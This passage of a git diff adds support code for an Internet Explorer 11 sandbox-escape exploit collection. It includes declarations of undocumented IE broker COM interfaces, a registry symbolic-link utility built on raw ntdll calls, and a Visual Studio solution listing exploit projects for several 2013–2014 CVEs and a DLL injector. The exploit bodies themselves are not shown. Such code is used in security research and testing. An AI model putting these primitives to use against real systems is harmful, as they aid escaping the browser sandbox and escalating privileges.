virtual HRESULT STDMETHODCALLTYPE RemoveFirstHomePage(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SetHomePage(HWND *, long, ITEMIDLIST_ABSOLUTE * *, long) = 0; + virtual HRESULT STDMETHODCALLTYPE RemoveHomePage(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE FixInternetSecurity(HWND *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowManageAddons(HWND *, DWORD, _GUID *, DWORD, int) = 0; + virtual HRESULT STDMETHODCALLTYPE CacheExtFileVersion(_GUID const &, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAxApprovalDlg(HWND *, _GUID const &, int, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SendLink(ITEMIDLIST_ABSOLUTE const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SendPage(HWND *, IDataObject *) = 0; + virtual HRESULT STDMETHODCALLTYPE NewMessage(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ReadMail(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE SetAsBackground(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveBrowseFile(HWND *, WORD const *, WORD const *, int, int, WORD * *, DWORD *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveAsComplete(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveAsFile(void) = 0; + virtual HRESULT STDMETHODCALLTYPE StartImportExportWizard(int, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE EditWith(HWND *, DWORD, HANDLE, DWORD, LPCWSTR, LPCWSTR, LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveImage(HWND *, WORD const *, DWORD, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveImage(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE CreateShortcut(/* _internet_shortcut_params */ void*, int, HWND *, WORD *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSynchronizeUI(void) = 0; + virtual HRESULT STDMETHODCALLTYPE OpenFolderAndSelectItem(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoGetOpenFileNameDialog(/* _SOpenDlg */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoGetLocationPlatformConsent(HWND *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowSaveFileName(HWND *, WORD const *, WORD const *, WORD const *, WORD const *, DWORD, WORD *, DWORD, WORD const *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE SaveFile(HWND *, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE VerifyTrustAndExecute(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFeedByUrl(WORD const *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerAddToFavoritesEx(HWND *, ITEMIDLIST_ABSOLUTE const *, WORD const *, DWORD, IOleCommandTarget *, WORD *, DWORD, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE Subscribe(HWND *, WORD const *, WORD const *, int, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE MarkAllItemsRead(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MarkItemsRead(WORD const *, DWORD *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE Properties(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFeedItem(HWND *, WORD const *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFeed(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DeleteFolder(HWND *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE Refresh(WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MoveFeed(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE MoveFeedFolder(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE RenameFeed(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE RenameFeedFolder(HWND *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE NewFeedFolder(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE FeedRefreshAll(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowFeedAuthDialog(HWND *, WORD const *, /* FEEDTASKS_AUTHTYPE */ DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddSearchProvider(HWND *, WORD const *, WORD const *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE InitHKCUSearchScopesRegKey(void) = 0; + virtual HRESULT STDMETHODCALLTYPE DoShowDeleteBrowsingHistoryDialog(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE StartAutoProxyDetection(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EditAntiPhishingOptinSetting(HWND *, DWORD, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowMyPictures(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ChangeIntranetSettings(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE FixProtectedModeSettings(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddService(HWND *, WORD const *, WORD const *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAddWebFilter(HWND *, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoBrowserRegister() = 0; + virtual HRESULT STDMETHODCALLTYPE DoBrowserRevoke(long) = 0; + virtual HRESULT STDMETHODCALLTYPE DoOnNavigate(long, VARIANT *) = 0; + virtual HRESULT STDMETHODCALLTYPE AddDesktopComponent(WORD *, WORD *, VARIANT *, VARIANT *, VARIANT *, VARIANT *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoOnCreated(long, IUnknown *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetShellWindows(IUnknown * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CustomizeSettings(short, short, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE OnFocus(int) = 0; + virtual HRESULT STDMETHODCALLTYPE IsProtectedModeUrl(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE DoDiagnoseConnectionProblems(HWND *, WORD *, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE PerformDoDragDrop(HWND *, /* IEDataObjectWrapper */ void *, /* IEDropSourceWrapper */ void *, DWORD, DWORD, DWORD *, long *) = 0; + virtual HRESULT STDMETHODCALLTYPE TurnOnFeedSyncEngine(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE InternetSetPerSiteCookieDecisionW(WORD const *, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE SetAttachmentUserOverride(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE WriteClassesOfCategory(_GUID const &, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerSetFocus(DWORD, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerShellNotifyIconA(DWORD, /* _BROKER_NOTIFYICONDATAA */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerShellNotifyIconW(DWORD, /* _BROKER_NOTIFYICONDATAW */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE DisplayVirtualizedFolder(void) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerSetWindowPos(HWND *, HWND *, int, int, int, int, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE WriteUntrustedControlDetails(_GUID const &, WORD const *, WORD const *, DWORD, BYTE *) = 0; + virtual HRESULT STDMETHODCALLTYPE SetComponentDeclined(char const *, char const *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoShowPrintDialog(/* _BROKER_PRINTDLG */ void*) = 0; + virtual HRESULT STDMETHODCALLTYPE NavigateHomePages(void) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowAxDomainApprovalDlg(HWND *, _GUID const &, int, WORD const *, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ActivateExtensionFromCLSID(HWND *, WORD const *, DWORD, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerCoCreateNewIEWindow(DWORD, _GUID const &, void * *, int, DWORD, int, int) = 0; + virtual HRESULT STDMETHODCALLTYPE BeginFakeModalityForwardingToTab() = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerEnableWindow(int, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE EndFakeModalityForwardingToTab(HWND *, long) = 0; + virtual HRESULT STDMETHODCALLTYPE CloseOldTabIfFailed(void) = 0; + virtual HRESULT STDMETHODCALLTYPE EnableSuggestedSites(HWND *, int) = 0; + virtual HRESULT STDMETHODCALLTYPE SetProgressValue(HWND *, DWORD, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerStartNewIESession(void) = 0; + virtual HRESULT STDMETHODCALLTYPE CompatDetachInputQueue(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE CompatAttachInputQueue(void) = 0; + virtual HRESULT STDMETHODCALLTYPE SetToggleKeys(DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE RepositionInfrontIE(HWND *, int, int, int, int, DWORD) = 0; + //virtual HRESULT STDMETHODCALLTYPE ReportShipAssert(DWORD, DWORD, DWORD, WORD const *, WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowOpenSafeOpenDialog(HWND *, /* _BROKER_SAFEOPENDLGPARAM */ void *, DWORD *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerAddSiteToStart(HWND *, WORD *, WORD const *, long, DWORD) = 0; + virtual HRESULT STDMETHODCALLTYPE SiteModeAddThumbnailButton(DWORD *, HWND *, WORD *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE SiteModeAddButtonStyle(int *, HWND *, DWORD, WORD *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE IsSiteModeFirstRun(int, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE IsImmersiveSiteModeFirstRun(int, WORD const *, WORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetImmersivePinnedState(DWORD, int, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerDoSiteModeDragDrop(DWORD, long *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE EnterUILock(long) = 0; + virtual HRESULT STDMETHODCALLTYPE LeaveUILock(long) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialAdd(/* _IECREDENTIAL */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialGet(WORD const *, WORD const *, /*_IECREDENTIAL */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialFindAllByUrl(WORD const *, DWORD *, /* _IECREDENTIAL */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE CredentialRemove(WORD const *, WORD const *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowOpenFile(HWND *, DWORD, DWORD, WORD *, WORD *, WORD const *, WORD const *, WORD const *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowImmersiveOpenFilePicker(HWND *, int, WORD const *, IUnknown * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE RegisterFileDragDrop(HWND *, DWORD, unsigned char *) = 0; + virtual HRESULT STDMETHODCALLTYPE RevokeFileDragDrop(HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileTokensForDragDropA(HWND *, DWORD, char * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileTokensForDragDropW(HWND *, DWORD, WORD * *, /* _OPEN_FILE_RESULT */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowEPMCompatDocHostConsent(HWND *, WORD const *, WORD const *, int *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetModuleInfoFromSignature(WORD const *, WORD * *, DWORD, WORD * *, WORD * *, WORD * *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShellExecWithActivationHandler(HWND *, LPCWSTR, LPCWSTR, int, /* _MSLAUNCH_HANDLER_STATUS */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE ShellExecFolderUri(LPCWSTR) = 0; + virtual HRESULT STDMETHODCALLTYPE ShowIMMessageDialog(HWND *, WORD const *, WORD const *, /* _IM_BUTTON_LABEL_ID */ void *, DWORD, DWORD, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetFileHandle(HWND *, BSTR filename, BYTE * hash, DWORD hashlen, HANDLE*) = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWCreateFileW(DWORD dwProcessId, BSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, int dwOpenMode, DWORD dwFlagsAndAttributes, ULONGLONG* h, DWORD *error) = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWFindFileW() = 0; + virtual HRESULT STDMETHODCALLTYPE MOTWGetFileDataW() = 0; + virtual HRESULT STDMETHODCALLTYPE WinRTInitializeWithWindow(IUnknown *, HWND *) = 0; + virtual HRESULT STDMETHODCALLTYPE DoProvisionNetworks(HWND *, WORD const *, DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetAccessibilityStylesheet(DWORD, unsigned __int64 *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetAppCacheUsage(WORD const *, unsigned __int64 *, unsigned __int64 *) = 0; + virtual HRESULT STDMETHODCALLTYPE HiddenTabRequest(/* _BROKER_BIND_INFO */ void *, /* _BROKER_REDIRECT_DETAIL */ void *, /* _HIDDENTAB_REQUEST_INFO */ void *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetMaxCpuSpeed(DWORD *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetProofOfPossessionTokensForUrl(WORD const *, DWORD *, /* _IEProofOfPossessionToken */ void * *) = 0; + virtual HRESULT STDMETHODCALLTYPE GetLoginUrl(LPWSTR*) = 0; + virtual HRESULT STDMETHODCALLTYPE ScheduleDeleteEncryptedMediaData() = 0; + virtual HRESULT STDMETHODCALLTYPE IsDeleteEncryptedMediaDataPending() = 0; + virtual HRESULT STDMETHODCALLTYPE GetFrameAppDataPathA() = 0; + virtual HRESULT STDMETHODCALLTYPE BrokerHandlePrivateNetworkFailure() = 0; + +}; + + +_COM_SMARTPTR_TYPEDEF(IIEUserBroker, __uuidof(IIEUserBroker)); +_COM_SMARTPTR_TYPEDEF(IShdocvwBroker, __uuidof(IShdocvwBroker)); \ No newline at end of file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp new file mode 100755 index 0000000000..50830eee4a --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.cpp @@ -0,0 +1,161 @@ +/*-------------------------------------------------------------------- +REGLN - Manage Windows Rregistry Links V20R0 +====================================================================== + Antoni Sawicki ; Dublin, July 10 2005; + + The following Copyrights apply: + + Copyright (c) 1998-2005 by Antoni Sawicki + Copyright (c) 1998-2005 by Tomasz Nowak + Copyright (c) 1998 by Mark Russinovich + + License: + + This software is distributed under the terms and conditions of + GPL - GNU General Public License. The software is provided AS + IS and ABSOLUTELY NO WARRANTY IS GIVEN. The author takes no + responsibility for any damages or consequences of usage of this + software. For more information, please read the attached GPL.TXT. + +--------------------------------------------------------------------*/ + +#define _CRT_SECURE_NO_WARNINGS + +#include +#include +#include +#include +#include "regln.h" +#include "Utils.h" + + +int checkargs(int argc, char *argv[]); +char *win2ntapi(char *win, int len); +int ntapi_init(void); +int usage(void); + +static fNtCreateKey NtCreateKey; +static fNtDeleteKey NtDeleteKey; +static fNtSetValueKey NtSetValueKey; + +int DeleteLink(LPCWSTR par_src) +{ + DWORD disposition, status; + HANDLE hdl_nt_keyhandle; + UNICODE_STRING nt_keyname; + OBJECT_ATTRIBUTES nt_object_attributes; + + ntapi_init(); + + nt_keyname.Buffer = par_src; + nt_keyname.Length = wcslen(par_src) * sizeof(WCHAR); + + nt_object_attributes.ObjectName = &nt_keyname; + nt_object_attributes.Attributes = OBJ_CASE_INSENSITIVE | REG_OPTION_OPEN_LINK_ATTR; + nt_object_attributes.RootDirectory = NULL; // + nt_object_attributes.SecurityDescriptor = NULL; // unused for this object type + nt_object_attributes.SecurityQualityOfService = NULL; // + nt_object_attributes.Length = sizeof(OBJECT_ATTRIBUTES); + + // open link + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_NON_VOLATILE, &disposition); + + if (status == 0) { + DebugPrintf("DEBUG: %ls opened successfully.\n", par_src); + + // delete + status = NtDeleteKey(hdl_nt_keyhandle); + + if (status == 0) { + DebugPrintf("DEBUG: %ls deleted successfully.\n", par_src); + } + else { + DebugPrintf("ERROR: Link deletion failed. [Step 2] [Error %08X]\n", status); + return 1; + } + } + else { + DebugPrintf("ERROR: Link deletion failed. [Step 1] [Error %08X]\n", status); + return 1; + } + + return 0; +}; + +int CreateLink(LPCWSTR par_src, LPCWSTR par_dst, int opt_volatile) +{ + DWORD disposition, status; + HANDLE hdl_nt_keyhandle; + UNICODE_STRING nt_keyname, nt_valuename; + OBJECT_ATTRIBUTES nt_object_attributes; + + ntapi_init(); + + nt_keyname.Buffer = par_src; + nt_keyname.Length = wcslen(par_src) * sizeof(WCHAR); + + nt_object_attributes.ObjectName = &nt_keyname; + nt_object_attributes.Attributes = OBJ_CASE_INSENSITIVE; + nt_object_attributes.RootDirectory = NULL; // + nt_object_attributes.SecurityDescriptor = NULL; // unused for this object type + nt_object_attributes.SecurityQualityOfService = NULL; // + nt_object_attributes.Length = sizeof(OBJECT_ATTRIBUTES); + + // create the key + if (opt_volatile) + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_VOLATILE | REG_OPTION_CREATE_LINK, &disposition); + else + status = NtCreateKey(&hdl_nt_keyhandle, KEY_ALL_ACCESS, &nt_object_attributes, 0, NULL, REG_OPTION_NON_VOLATILE | REG_OPTION_CREATE_LINK, &disposition); + + if (status == 0) { + DebugPrintf("DEBUG: Key %ls created successfully.\n", par_src); + + // the real action is here: + + nt_valuename.Buffer = REG_LINK_VALUE_NAME; + nt_valuename.Length = wcslen(REG_LINK_VALUE_NAME) * sizeof(WCHAR); + + status = NtSetValueKey(hdl_nt_keyhandle, &nt_valuename, 0, REG_LINK, par_dst, wcslen(par_dst) * sizeof(WCHAR)); + + if (status == 0) { + DebugPrintf("DEBUG: Value REG_LINK:%ls=%ls set succesfully.\n", REG_LINK_VALUE_NAME, par_dst); + } + else { + DebugPrintf("ERROR: Link creation failed. [Step 2] [Error %08X]\n", status); + return 1; + } + } + else { + DebugPrintf("ERROR: Link creation failed. [Step 1] [Error %08X]\n", status); + return 1; + } + + return 0; +} + + +int ntapi_init(void) { + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtCreateKey...\n"); + #endif + if(!(NtCreateKey = (fNtCreateKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtDeleteKey...\n"); + #endif + if(!(NtDeleteKey = (fNtDeleteKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtDeleteKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + #ifdef DEBUG + DebugPrintf("DEBUG: Initializing NTDLL.DLL:NtSetValueKey...\n"); + #endif + if(!(NtSetValueKey = (fNtSetValueKey) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtSetValueKey" ))) { + DebugPrintf("This program works only on Windows NT/2000/XP/NET\n"); + return 1; + } + return 0; +} + diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h new file mode 100755 index 0000000000..b760e6e540 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/regln.h @@ -0,0 +1,70 @@ +/*-------------------------------------------------------------------- +REGLN - Manage Windows Rregistry Links V20R0 +====================================================================== + Antoni Sawicki ; Dublin, July 10 2005; + + The following Copyrights apply: + + Copyright (c) 1998-2005 by Antoni Sawicki + Copyright (c) 1998-2005 by Tomasz Nowak + Copyright (c) 1998 by Mark Russinovich + + License: + + This software is distributed under the terms and conditions of + GPL - GNU General Public License. The software is provided AS + IS and ABSOLUTELY NO WARRANTY IS GIVEN. The author takes no + responsibility for any damages or consequences of usage of this + software. For more information, please read the attached GPL.TXT. + +--------------------------------------------------------------------*/ + + + +#define REG_LINK_VALUE_NAME L"SymbolicLinkValue" // found by tenox +//#define REG_OPTION_CREATE_LINK 2 // this is defined in MSVC 2.0 but not after +#define REG_OPTION_OPEN_LINK_ATTR 0x100 // found by tommy +#define OBJ_CASE_INSENSITIVE 0x40 + +// +// Following definitions are generously provided by Mark Russinovitch +// +typedef struct _UNICODE_STRING { + WORD Length; + WORD MaximumLength; + PCWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + DWORD Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + DWORD Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef DWORD (__stdcall *fNtCreateKey)( + HANDLE KeyHandle, + DWORD DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + DWORD TitleIndex, + PUNICODE_STRING Class, + DWORD CreateOptions, + PDWORD Disposition +); + +typedef DWORD (__stdcall *fNtSetValueKey)( + HANDLE KeyHandle, + PUNICODE_STRING ValueName, + DWORD TitleIndex, + DWORD Type, + const void* Data, + DWORD DataSize +); + +typedef DWORD (__stdcall *fNtDeleteKey)( + HANDLE KeyHandle +); diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp new file mode 100755 index 0000000000..51ec5e2107 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.cpp @@ -0,0 +1,8 @@ +// stdafx.cpp : source file that includes just the standard includes +// CommandUtils.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h new file mode 100755 index 0000000000..c846c60793 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/stdafx.h @@ -0,0 +1,15 @@ +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#include "targetver.h" + +#include +#include +#include +#include +#include +#include diff --git a/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h b/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h new file mode 100755 index 0000000000..87c0086de7 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/CommonUtils/targetver.h @@ -0,0 +1,8 @@ +#pragma once + +// Including SDKDDKVer.h defines the highest available Windows platform. + +// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and +// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. + +#include diff --git a/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln b/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln new file mode 100755 index 0000000000..f5cf04e173 --- /dev/null +++ b/external/source/exploits/IE11SandboxEscapes/IE11SandboxEscapes.sln @@ -0,0 +1,72 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2013 +VisualStudioVersion = 12.0.30501.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "InjectDll", "InjectDll\InjectDll.vcxproj", "{4AD1637F-88D8-4AF8-ADF4-027272C10BDD}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2013-5045", "CVE-2013-5045\CVE-2013-5045.vcxproj", "{A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CommonUtils", "CommonUtils\CommonUtils.vcxproj", "{04DDE547-BB65-4C0C-B80B-231DF42C7A1D}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2013-5046", "CVE-2013-5046\CVE-2013-5046.vcxproj", "{7A9AC14A-00BC-4A69-9B86-C80635606FEA}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0268", "CVE-2014-0268\CVE-2014-0268.vcxproj", "{CE924704-AC2D-46A7-BB19-2C99BC97CCE9}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CVE-2014-0257", "CVE-2014-0257\CVE-2014-0257.vcxproj", "{2A46841E-E3FC-42FF-BCDF-70F76E757E26}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|Win32.ActiveCfg = Debug|Win32 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|x64.ActiveCfg = Debug|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Debug|x64.Build.0 = Debug|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|Win32.ActiveCfg = Release|Win32 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|x64.ActiveCfg = Release|x64 + {4AD1637F-88D8-4AF8-ADF4-027272C10BDD}.Release|x64.Build.0 = Release|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|Win32.ActiveCfg = Debug|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|Win32.Build.0 = Debug|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|x64.ActiveCfg = Debug|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Debug|x64.Build.0 = Debug|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|Win32.ActiveCfg = Release|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|Win32.Build.0 = Release|Win32 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|x64.ActiveCfg = Release|x64 + {A31EEDC1-5B69-42E9-BAE4-717DA6AF9E52}.Release|x64.Build.0 = Release|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|Win32.ActiveCfg = Debug|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|Win32.Build.0 = Debug|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|x64.ActiveCfg = Debug|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Debug|x64.Build.0 = Debug|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|Win32.ActiveCfg = Release|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|Win32.Build.0 = Release|Win32 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|x64.ActiveCfg = Release|x64 + {04DDE547-BB65-4C0C-B80B-231DF42C7A1D}.Release|x64.Build.0 = Release|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|Win32.ActiveCfg = Debug|Win32 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|x64.ActiveCfg = Debug|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Debug|x64.Build.0 = Debug|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|Win32.ActiveCfg = Release|Win32 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|x64.ActiveCfg = Release|x64 + {7A9AC14A-00BC-4A69-9B86-C80635606FEA}.Release|x64.Build.0 = Release|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|Win32.ActiveCfg = Debug|Win32 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|x64.ActiveCfg = Debug|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Debug|x64.Build.0 = Debug|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|Win32.ActiveCfg = Release|Win32 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|x64.ActiveCfg = Release|x64 + {CE924704-AC2D-46A7-BB19-2C99BC97CCE9}.Release|x64.Build.0 = Release|x64 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|Win32.ActiveCfg = Debug|Win32 + {2A46841E-E3FC-42FF-BCDF-70F76E757E26}.Debug|Win32.Build.0 = Debug|Win32 + 